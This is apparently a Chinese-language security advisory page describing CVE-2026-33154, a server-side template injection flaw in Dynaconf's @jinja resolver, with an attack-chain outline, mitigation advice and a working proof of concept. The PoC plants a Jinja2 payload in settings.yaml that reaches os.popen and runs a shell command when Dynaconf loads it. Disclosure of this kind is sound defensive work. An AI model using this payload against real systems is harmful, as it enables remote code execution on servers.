IPBUF安全漏洞报告
English
CVE-2026-33154 CVSS 7.5 高危

CVE-2026-33154 Dynaconf SSTI漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33154
漏洞类型
服务端模板注入 (SSTI)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dynaconf

相关标签

SSTIRCEDynaconfPythonCVE-2026-33154Jinja2

漏洞概述

Dynaconf是一个Python配置管理工具。在3.2.13版本之前,由于@Jinja解析器存在不安全的模板评估问题,导致SSTI漏洞。当安装jinja2时,Dynaconf会在非沙箱环境中解析配置值中的模板表达式。攻击者可利用此漏洞在服务器端执行任意代码,获取系统权限,造成严重安全后果。

技术细节

该漏洞的根本原因在于Dynaconf的@Jinja解析器在处理配置值时,直接调用了Jinja2模板引擎进行渲染,且未启用沙箱环境进行隔离。当应用程序加载包含`@jinja`前缀的配置项时,Dynaconf会将其传递给Jinja2进行动态求值。由于缺乏沙箱限制,攻击者可以构造恶意的Jinja2模板语法Payload(例如利用Python对象的继承链获取`os`或`subprocess`模块),并将其注入到配置文件或环境变量中。一旦应用程序读取并解析这些配置,恶意代码便会在服务器上下文中执行,导致远程代码执行(RCE),进而完全控制受害服务器。

攻击链分析

STEP 1
侦察
攻击者确认目标应用程序使用了Dynaconf进行配置管理,并且环境中安装了jinja2库。
STEP 2
武器化
攻击者构造包含恶意Jinja2模板语法的Payload,旨在通过模板注入执行系统命令(如反弹Shell)。
STEP 3
投递
攻击者通过某种方式(如修改配置文件、篡改环境变量或上传恶意配置)将Payload注入到应用程序的配置源中。
STEP 4
利用
目标应用程序启动或重新加载配置,Dynaconf读取到包含`@jinja`标记的配置值。
STEP 5
执行
Dynaconf调用Jinja2引擎解析该配置值,由于无沙箱保护,恶意Payload在服务器端被执行,攻击者获得服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Create a malicious configuration file (e.g., settings.yaml) # Content of settings.yaml: # default: # malicious_key: "@jinja {{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}" # Python script to trigger the vulnerability import os # Simulate creating the malicious file with open('settings.yaml', 'w') as f: f.write("""default: malicious_key: "@jinja {{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read() }}" """) from dynaconf import Dynaconf # Load settings - this triggers the SSTI settings = Dynaconf(settings_files=['settings.yaml']) # Print the result of the executed command print(f"Command output: {settings.malicious_key}") # Clean up os.remove('settings.yaml')

影响范围

Dynaconf < 3.2.13

防御指南

临时缓解措施
如果无法立即升级,请确保配置文件的写入权限受到严格控制,仅允许可信用户修改。检查并移除任何来源不明的配置项,特别是包含`@jinja`标记的内容。此外,可以考虑在应用层面对配置值进行正则匹配或过滤,拦截包含模板语法的输入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表